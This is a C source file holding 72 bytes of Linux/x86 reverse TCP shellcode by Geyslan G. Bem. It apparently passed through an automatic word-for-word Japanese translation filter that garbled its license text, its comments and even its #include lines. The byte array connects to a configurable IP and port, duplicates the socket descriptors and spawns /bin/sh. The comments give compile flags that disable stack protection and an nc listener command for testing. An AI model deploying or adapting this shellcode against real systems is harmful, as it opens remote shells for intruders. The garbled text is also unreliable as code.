このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。 |
/* 爆撃する 逆転する TCP Shellcode - C Language Linux/x86 Written in 2013 by Geyslan G. Bem, 切り開く/タクシー/不正アクセスing bits http://hackingbits.com geyslan@gmail.com This source is licensed under the Creative ありふれたs Attribution-ShareAlike 3.0 Brazil License. To 見解(をとる) a copy of this license, visit http://creativecommons.org/licenses/by-sa/3.0/ You are 解放する/自由な: to 株 - to copy, 分配する and 送信する/伝染させる the work to Remix - to adapt the work to make 商業の use of the work Under the に引き続いて 条件s: Attribution - You must せいにする the work in the manner 明示するd by the author or licensor (but not in any way that 示唆するs that they 是認する you or your use of the work). 株 Alike - If you alter, transform, or build upon this work, you may 分配する the resulting work only under the same or 類似の license to this one. */ /* shell_reverse_tcp_shellcode * 72 bytes * null-bytes 解放する/自由な if the port and 演説(する)/住所 are * the ip 演説(する)/住所 and port number are easily changeable (2nd to 5th bytes are the IP) and (9th and 10th are the Port) # gcc -m32 -fno-stack-protector -z execstack shellcode.c -o shellcode # ./shellcode 実験(する)ing # nc -l 127.1.1.1 55555 # ./shellcode */ #含む <stdio.h> #含む <string.h> unsigned char code[] = \ "\x68" "\x7f\x01\x01\x01" // <- IP Number "127.1.1.1" "\x5e\x66\x68" "\xd9\x03" // <- Port Number "55555" "\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02" "\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79" "\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a" "\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f" "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" "\xeb\xce"; main () { // When the IP 含む/封じ込めるs null-bytes, printf will show a wrong shellcode length. printf("Shellcode Length: %d\n", strlen(code)); // 汚染するs all 登録(する)s 確実にするing that the shellcode runs in any circumstance. __asm__ ("movl $0xffffffff, %eax\n\t" "movl %eax, %ebx\n\t" "movl %eax, %ecx\n\t" "movl %eax, %edx\n\t" "movl %eax, %esi\n\t" "movl %eax, %edi\n\t" "movl %eax, %ebp"); int (*ret)() = (int(*)())code; ret(); }